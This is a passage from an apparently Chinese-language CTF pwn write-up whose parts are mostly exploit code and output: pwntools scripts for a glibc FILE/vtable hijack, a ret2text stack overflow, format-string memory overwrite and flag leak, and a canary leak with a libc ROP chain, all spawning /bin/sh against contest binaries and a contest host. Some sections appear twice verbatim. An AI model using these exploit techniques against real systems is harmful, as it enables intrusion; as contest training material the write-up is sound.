put_addr = int(p.recvline(), 16)
libc.address = put_addr - libc.symbols['puts']
success("puts addr: " + hex(put_addr))
success("libc base: " + hex(libc.address))

# 覆盖 vtable 的指针指向我们控制的内存,然后在其中布置函数指针
stdout_addr = libc.symbols['_IO_2_1_stdout_']
success("stdout addr: " + hex(stdout_addr))

p.send(p64(stdout_addr))

A = stdout_addr
B = stdout_addr

# 利用链
# puts -> __xsputn -> 伪造为 _IO_wfile_overflow
# _IO_wfile_overflow -> _IO_wdoallocbuf -> _IO_WDOALLOCATE -> *(fp->_wide_data->_wide_vtable + 0x68)(fp)
fake = FileStructure(0)
fake.flags = b"\xf5\xf7;\sh;\x00"                       # _flags = ~(2 | 0x8 | 0x800) (由于要布置 \sh;,进行了一点修改)
fake._lock = libc.symbols['_IO_stdfile_1_lock']         # 绕过检测
fake._wide_data = A                                     # 满足 *(fp+0xa0)=A
fake.chain = libc.symbols['system']                     # 满足 *(B+0x68)=C
fake.vtable = libc.symbols['_IO_wfile_jumps'] - 0x20    # vtable = _IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap 的地址(加减偏移)

# 自动会用 0x00 填充,所以这里不用管
# ● _wide_data->_IO_write_base = 0(即满足 *(A+0x18)=0)
# ● _wide_data->_IO_buf_base = 0(即满足 *(A+0x30)=0)

fake = flat({
    0: bytes(fake),
    0xe0: B                                             # 满足 *(A+0xe0)=B
})

# gdb.attach(p, 'b system')
p.send(fake)

p.interactive()

题解二

调用链

_IO_flush_all -> _IO_flush_all_lockp -> [_IO_wdefault_xsgetn](IO_wstrn_jumps) (伪造)

_IO_wfile_overflow -> _IO_wdoallocbuf -> _IO_WDOALLOCATE -> *(fp->_wide_data->_wide_vtable + 0x68)(fp)

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

path = './pwn'
p = process(path)
#p = remote('202.199.6.66', 39964)
elf = ELF(path)
libc = ELF('./libc.so.6')

p.recvuntil(b'puts_addr: ')
puts_address = int(p.recvline()[:-1], 16)
log.success(f'puts_address: {hex(puts_address)}')
libc.address = puts_address - libc.sym['puts']
log.success(f'libc.address: {hex(libc.address)}')

fp_address = libc.sym['_IO_list_all'] + 0x10
log.success(f'fp_address: {hex(fp_address)}')

fake = FileStructure(0)
fake._IO_write_ptr = 1                                  #mode = 0
fake._IO_write_base = 0                                 #cond.1 (fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)

fake._lock = fp_address + 0x48                          #cond.2 _IO_flockfile (fp); _lock address vaild
fake._wide_data = fp_address                            #cond.3 vtable address(_wide_data)
fake.chain = libc.sym['system']                         #cond.4 vtable(*(_wide_data+0xe0))+0x68 -> win_address
fake.vtable = (libc.sym['_IO_wfile_jumps']+24) - 0x18   #cond.5 _IO_wfile_overflow  <_IO_flush_all_lockp+223>    call   qword ptr [rax + 0x18]
fake.flags = b' '*8                                     #cond.6    0x7b262828639e <_IO_wfile_overflow+14>     mov    eax, dword ptr [rdi]     EAX, [0x7b262841b690] => 0x6e69622f
                                                               # ► 0x7b26282863a0 <_IO_wfile_overflow+16>     test   al, 8                    0x2f & 0x8     EFLAGS => 0x202 [ cf pf af zf sf IF df of ]
                                                               #   0x7b26282863a2 <_IO_wfile_overflow+18>   ✔ jne    _IO_wfile_overflow+304      <_IO_wfile_overflow+304>                   
fake._IO_read_ptr = b'/bin/sh\x00'                      #空格填充后接着填入 /bin/sh

fake = flat({
    0:bytes(fake),
    0xe0:fp_address                                     #cond.4
})

payload = p64(fp_address) + p64(0) + bytes(fake)

p.recvuntil(b'Write where?\n')
p.send(p64(libc.sym['_IO_list_all']))

# gdb.attach(p, 'b _IO_flush_all_lockp')
p.send(bytes(payload))

p.interactive()

【简单】浮屠塔的出口

nc上去按提示走迷宫就好了。

关于Windows下的乱码:我测的时候是代码页是936时会乱码,65001时正常。但在gin那里即使是65001,也会乱码,后来又不知道怎么的,好了,真是太奇怪了。

迷宫生成是chatgpt写的,然后又用不太优美的方法修了一些bug,最后生成的迷宫还是大概率很垃圾,但我算法学得不好,所以还是算了吧。

【简单】浮屠塔的出口

nc上去按提示走迷宫就好了。

关于Windows下的乱码:我测的时候是代码页是936时会乱码,65001时正常。但在gin那里即使是65001,也会乱码,后来又不知道怎么的,好了,真是太奇怪了。

迷宫生成是chatgpt写的,然后又用不太优美的方法修了一些bug,最后生成的迷宫还是大概率很垃圾,但我算法学得不好,所以还是算了吧。

【中等】高速迷宫

上一道相比,增加了一秒内必须走完的限制。如果会算法的话,随便用bfs/dfs搜一下就行,如果不会的话,用右手原则应该也能出去?没试过。

这两道pwn预热题,主要是为了引入方便的pwntools,它可以sendlineafter,recvuntil什么的。但我看wp里有直接用socket干的,orz。

下面是用bfs的解法。

from collections import deque

# 定义四个方向:上、下、左、右
DIRS = {"w": (-1, 0), "s": (1, 0), "a": (0, -1), "d": (0, 1)}  # 上  # 下  # 左  # 右


# 将迷宫地图解析为二维列表,并找到起点和终点
def parse_maze(input_maze):
    maze = []
    start = None
    end = None
    for y, line in enumerate(input_maze.split("\n")):
        row = list(line)
        maze.append(row)
        if "p" in row:
            start = (y, row.index("p"))
        if "e" in row:
            end = (y, row.index("e"))
    return maze, start, end


# 判断坐标是否在迷宫范围内
def is_valid(y, x, maze):
    #print("checking", y,x , 0 <= y < len(maze) , 0 <= x < len(maze[0]))
    return 0 <= y < len(maze) and 0 <= x < len(maze[0]) and maze[y][x] != "*"


# 使用广度优先搜索(BFS)找到迷宫的最短路径
def find_path(maze, start, end):
    queue = deque([(start, "")])  # (当前坐标, 移动方向字符串)
    visited = set()
    visited.add(start)

    while queue:
        (cur_y, cur_x), path = queue.popleft()

        if (cur_y, cur_x) == end:
            return path

        # 尝试四个方向移动
        for direction, (dy, dx) in DIRS.items():
            new_y, new_x = cur_y + dy, cur_x + dx
            if is_valid(new_y, new_x, maze) and (new_y, new_x) not in visited:
                visited.add((new_y, new_x))
                queue.append(((new_y, new_x), path + direction))
                print(queue)

    return None  # 如果没有找到路径

from pwn import *
def main():
    
    p = remote("202.199.6.66","35273")
    input_maze = p.recvlines(9)
    for i in range(len(input_maze)):
        input_maze[i] = input_maze[i].decode()
        input_maze[i] += " " * (9-len(input_maze[i]))
    input_maze = "\n".join(input_maze)
    # 解析迷宫并获取起点和终点
    maze, start, end = parse_maze(input_maze)
    print(maze)

    if not start or not end:
        print("迷宫没有找到起点或终点!")
        return

    # 计算路径
    path = find_path(maze, start, end)

    if path:
        print(f"找到路径: {path}")
    else:
        print("没有找到从起点到终点的路径!")
        
    for i in path:
        p.sendlineafter(":", i)
        
    p.interactive()


if __name__ == "__main__":
    main()

【中等】N 个人各自有着自己的秘密

hint:什么你不知道什么是 Pwn?由于其发音与 “砰” 类似,而其又指代成功攻入受害者电脑,因此被广泛流传了下来。本题是 pwn 最最最简单的基础入门系列 ret2text ,我相信大家都知道吧?但是有一个栈平衡的坑,或许你可以在这里找到灵感。最后:求求你了写写 pwn 吧,只要是我能做的,我什么都愿意做!

很简单的 ret2text ,没有人多少人写出来是我没有想到的。实际上,参考一下 hint 的链接就可以出来了。

题目分析

先用 IDA 反编译一下,可以看到程序的源代码:


int backdoor()
{
  puts("Backdoor triggered! Welcome to the secret area! miao~");
  return system("/bin/sh");
}

int secret_board()
{
  char v1[64]; // [rsp+0h] [rbp-40h] BYREF

  puts("Hello, please enter your secret message:");
  gets(v1);
  return puts("Thanks for sharing your secret! (^_^)");
}

int __fastcall main(int argc, const char **argv, const char **envp)
{
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  secret_board();
  return 0;
}

很明显,我们看到了有一段代码,可以调用 secret_board 函数,但是 secret_board 函数中调用了 gets 函数,而gets 函数可以触发栈溢出,漏洞就在这里了。

我们可以将原函数的返回用栈溢出修改为 backdoor ,即可获得shell(注意栈溢出)。

在 IDA 我们可以看到:

.text:0000000000401156 ; int backdoor()
.text:0000000000401156                 public backdoor
.text:0000000000401156 backdoor        proc near
.text:0000000000401156 ; __unwind {
.text:0000000000401156                 push    rbp
.text:0000000000401157                 mov     rbp, rsp
.text:000000000040115A                 lea     rax, s          ; "Backdoor triggered! Welcome to the secr"...
.text:0000000000401161                 mov     rdi, rax        ; s
.text:0000000000401164                 call    _puts
.text:0000000000401169                 lea     rax, command    ; "/bin/sh"
.text:0000000000401170                 mov     rdi, rax        ; command
.text:0000000000401173                 call    _system
.text:0000000000401178                 nop
.text:0000000000401179                 pop     rbp
.text:000000000040117A                 retn
.text:000000000040117A ; } // starts at 401156
.text:000000000040117A backdoor        endp

再看看保护:

┌──(kali㉿LAPTOP-9O25NAN3)-[~/Desktop/nex_practice]
└─$ checksec ./secret_board
[*] '/home/kali/Desktop/nex_practice/secret_board'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

exp

在提示中说了注意栈溢出,这里给出两种解决方法(记得修改端口):

  1. 跳过 push rbp; mov rbp, rsp; 保证堆栈平衡
from pwn import *
p = remote('202.199.6.66', 36479)
# p = process('./secret_board')
payload = b'a' * (64+8) + p64(0x40115A)
p.sendline(payload)
p.interactive()
  1. 利用 retn 保持堆栈平衡
from pwn import *
p = remote('202.199.6.66', 36479)
# p = process('./secret_board')
payload = b'a' * (64+8) + p64(0x40117A) + p64(0x401156)
p.sendline(payload)
p.interactive()

怎么样,代码很简单吧。<( ̄︶ ̄)>

我看有的人 get shell ,但是没有获得 flag ,有点可惜,在题目中说明了,flag 在环境变量中,get shell 后,输入 env 可以看到。

【中等】N 个人各自有着自己的秘密

hint:什么你不知道什么是 Pwn?由于其发音与 “砰” 类似,而其又指代成功攻入受害者电脑,因此被广泛流传了下来。本题是 pwn 最最最简单的基础入门系列 ret2text ,我相信大家都知道吧?但是有一个栈平衡的坑,或许你可以在这里找到灵感。最后:求求你了写写 pwn 吧,只要是我能做的,我什么都愿意做!

很简单的 ret2text ,没有人多少人写出来是我没有想到的。实际上,参考一下 hint 的链接就可以出来了。

题目分析

先用 IDA 反编译一下,可以看到程序的源代码:


int backdoor()
{
  puts("Backdoor triggered! Welcome to the secret area! miao~");
  return system("/bin/sh");
}

int secret_board()
{
  char v1[64]; // [rsp+0h] [rbp-40h] BYREF

  puts("Hello, please enter your secret message:");
  gets(v1);
  return puts("Thanks for sharing your secret! (^_^)");
}

int __fastcall main(int argc, const char **argv, const char **envp)
{
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  secret_board();
  return 0;
}

很明显,我们看到了有一段代码,可以调用 secret_board 函数,但是 secret_board 函数中调用了 gets 函数,而gets 函数可以触发栈溢出,漏洞就在这里了。

我们可以将原函数的返回用栈溢出修改为 backdoor ,即可获得shell(注意栈溢出)。

在 IDA 我们可以看到:

.text:0000000000401156 ; int backdoor()
.text:0000000000401156                 public backdoor
.text:0000000000401156 backdoor        proc near
.text:0000000000401156 ; __unwind {
.text:0000000000401156                 push    rbp
.text:0000000000401157                 mov     rbp, rsp
.text:000000000040115A                 lea     rax, s          ; "Backdoor triggered! Welcome to the secr"...
.text:0000000000401161                 mov     rdi, rax        ; s
.text:0000000000401164                 call    _puts
.text:0000000000401169                 lea     rax, command    ; "/bin/sh"
.text:0000000000401170                 mov     rdi, rax        ; command
.text:0000000000401173                 call    _system
.text:0000000000401178                 nop
.text:0000000000401179                 pop     rbp
.text:000000000040117A                 retn
.text:000000000040117A ; } // starts at 401156
.text:000000000040117A backdoor        endp

再看看保护:

┌──(kali㉿LAPTOP-9O25NAN3)-[~/Desktop/nex_practice]
└─$ checksec ./secret_board
[*] '/home/kali/Desktop/nex_practice/secret_board'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

exp

在提示中说了注意栈溢出,这里给出两种解决方法(记得修改端口):

  1. 跳过 push rbp; mov rbp, rsp; 保证堆栈平衡
from pwn import *
p = remote('202.199.6.66', 36479)
# p = process('./secret_board')
payload = b'a' * (64+8) + p64(0x40115A)
p.sendline(payload)
p.interactive()
  1. 利用 retn 保持堆栈平衡
from pwn import *
p = remote('202.199.6.66', 36479)
# p = process('./secret_board')
payload = b'a' * (64+8) + p64(0x40117A) + p64(0x401156)
p.sendline(payload)
p.interactive()

怎么样,代码很简单吧。<( ̄︶ ̄)>

我看有的人 get shell ,但是没有获得 flag ,有点可惜,在题目中说明了,flag 在环境变量中,get shell 后,输入 env 可以看到。

【中等】魔法禁书目录

hint:什么格式化字符串可以覆盖内存?如果你觉得手动构造太复杂,pwntools 或许可以助你一臂之力。

非预期?!:出题人打开程序一看,这个是什么?一顿操作后,他发现一个似乎是非预期。什么?非预期?但是这个也是格式化字符串,怎么可以叫非预期呢?(嘴硬)如果你想知道是什么,不妨看看这个:泄露内存

题目分析

一样,放入 IDA 分析一下:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char *v4; // [rsp+8h] [rbp-68h]
  char buf[88]; // [rsp+10h] [rbp-60h] BYREF
  unsigned __int64 v6; // [rsp+68h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  ancient_power = rand();
  printf("tell me your name: ");
  read(0, buf, 0x50uLL);
  printf("your name is ");
  printf(buf);
  if ( ancient_power == 1131796 )
  {
    v4 = getenv("FLAG");
    printf("\nThe mystical power has been revealed: %s\n", v4);
  }
  else
  {
    puts("\nThe mystical power remains hidden...");
  }
  return 0;
}

很简单,如果 ancient_power 这个全局遍历器变量的值为 1131796 (0x114514) 就会打印 FLAG,否则就打印 The mystical power remains hidden...

用 IDA 也可以得到 ancient_power 的地址(没有开PIE):

.bss:000000000040404C                 public ancient_power
.bss:000000000040404C ancient_power   dd ?                    ; DATA XREF: main+7A↑w
.bss:000000000040404C                                         ; main+CF↑r
.bss:000000000040404C _bss            ends

对于格式化字符串的偏移嘛,有一个很好用的工具:Pwngdb 可以用他的 fmtarg 进行偏移的计算。

把程序运行到 printf 处(未执行),然后求 rdi 所在的偏移:

00:0000│ rsp 0x7fffffffd6d0 ◂— 0
01:0008│-068 0x7fffffffd6d8 ◂— 0
02:0010│ rsi 0x7fffffffd6e0 ◂— 0xa7025 /* '%p\n' */
03:0018│-058 0x7fffffffd6e8 ◂— 0
pwndbg> fmtarg 0x7fffffffd6e0
The index of format argument : 8 (\"\%7$p\")

上面的 8 就是我们需要的偏移。

exp

  1. 方法一:覆盖内存:

小 tip : fmtstr_payload使用要指定架构,arch='amd64'。

from pwn import *

context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']

# p = remote('202.199.6.66', 35977)
p = process('./ancient_book')

# 方法一:格式化字符串进行内存覆盖
ancient_power_addr = 0x40404C
payload = fmtstr_payload(8, {ancient_power_addr: 0x114514})
p.sendline(payload)
  1. 方法二:泄露内存

由于程序把 flag 放入了环境变量中,我们可以通过用 fmt 泄露环境变量。

# 直接用 %s 泄露
# 这个是因为 flag 在环境变量中,所以直接用 %s 泄露
# 调试发现 %57$s 开始泄露环境变量,用 %58$s 就可以泄露 flag
# 33:0198│ r13 0x7fffffffd918 —▸ 0x7fffffffdc0c ◂— 'SHELL=/bin/bash'
# pwndbg> fmtarg 0x7fffffffd918
# The index of format argument : 57 (\"\%56$p\")

接下来 nc 连接,再输入 %58$s 即可获得 flag。

┌──(kali㉿LAPTOP-9O25NAN3)-[~/Desktop/nex_practice/fmt]
└─$ nc 202.199.6.66 39427
tell me your name: %58$s
your name is FLAG=nex{I0rM475TRiN9S_rEvEA1_aNclenT_pOW3R5-n2p59hn7}

The mystical power remains hidden...

【困难】寻¥环游记

“很难想象,liunx 的保护如此脆弱,一个 Format String 就将 PIE,Canary 等一众高手杀的片甲不留”,出题人如实说到。“什么?没有后门你就不知道接下来怎么办?看看远方的 libc 吧!”

题目分析

看到 hint 不难想到是 fmt 泄露 Canary 和 PIE 的基地址,然后打 ret2libc 就好了。

ida 看看:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int nbytes; // [rsp+Ch] [rbp-34h] BYREF
  char nbytes_4[16]; // [rsp+10h] [rbp-30h] BYREF
  char v6[24]; // [rsp+20h] [rbp-20h] BYREF
  unsigned __int64 v7; // [rsp+38h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  init(argc, argv, envp);
  puts(
    "My roommate lost 100 on his way back from a trip during the National Day holiday. Can you help him recall where he left it?");
  puts("Where do you think he left his money?");
  printf(format);
  read(0, nbytes_4, 0x10uLL);
  printf("I will try to find the money he lost at the ");
  printf(nbytes_4);
  puts("Please give me your name. If I find it, I will repay you!");
  puts("First, how long is your name?");
  printf(format);
  __isoc99_scanf("%d", &nbytes);
  if ( nbytes <= 16 )
  {
    puts("What is your name?");
    printf(format);
    read(0, v6, (unsigned int)nbytes);
    puts("Thank you for your help!");
  }
  else
  {
    puts("Too long!");
  }
  return 0;
}

看看保护,保护全开!

┌──(kali㉿LAPTOP-9O25NAN3)-[~/Desktop/nex_practice/fmt]
└─$ checksec ./ancient_book
[*] '/home/kali/Desktop/nex_practice/fmt/ancient_book'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

ok,漏洞很明显 : fmt -> 整形下溢 -> 栈溢出

对了,为了方便调试,建议用 patchelf 将题目的 libc 和 ld 改为出题人提供的。

exp

from pwn import *

context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']

p = process('./where_is_money')
# p = remote('202.199.6.66', 39706)
elf = ELF('./where_is_money')
libc = ELF('libc.so.6')

payload = b'%13$p%17$p%35$p\n'
p.sendlineafter(b'> ', payload)
p.recvuntil(b'0x')
canary = int(p.recv(16), 16)
p.recvuntil(b'0x')
main_addr = int(p.recv(12), 16) # 这个实际上可以不用,看下面是如何利用的
p.recvuntil(b'0x')
libc_base = int(p.recv(12), 16) - 0x29e40

success('canary: ' + hex(canary))
success('main_addr: ' + hex(main_addr))
success('libc_base: ' + hex(libc_base))

p.sendlineafter(b'> ', b'-1')        # 整形下界溢出

# 0x00000000000011f1 : pop rdi ; ret
# pop_rdi_ret = main_addr - elf.sym['main'] + 0x00000000000011f1
# ret_addr = main_addr - elf.sym['main'] + 0x000000000000101a

# 当然,用 libc 中的 pop_rdi_ret 也行
# ROPgadget --binary ./libc.so.6 --only "pop|ret" | grep rdi
# 0x000000000002a745 : pop rdi ; pop rbp ; ret
# 0x000000000002a3e5 : pop rdi ; ret
pop_rdi_ret = libc_base + 0x000000000002a3e5
ret_addr = pop_rdi_ret + 1
system_addr = libc_base + libc.sym['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))

success('pop_rdi_ret: ' + hex(pop_rdi_ret))
success('system_addr: ' + hex(system_addr))
success('bin_sh_addr: ' + hex(bin_sh_addr))

payload = flat(
    b'A' * 0x18,
    canary,
    b'deadbeef',
    ret_addr,
    pop_rdi_ret,
    bin_sh_addr,
    system_addr,
)

p.sendafter(b'> ', payload)

p.interactive()

get shell 后,cat flag 就好了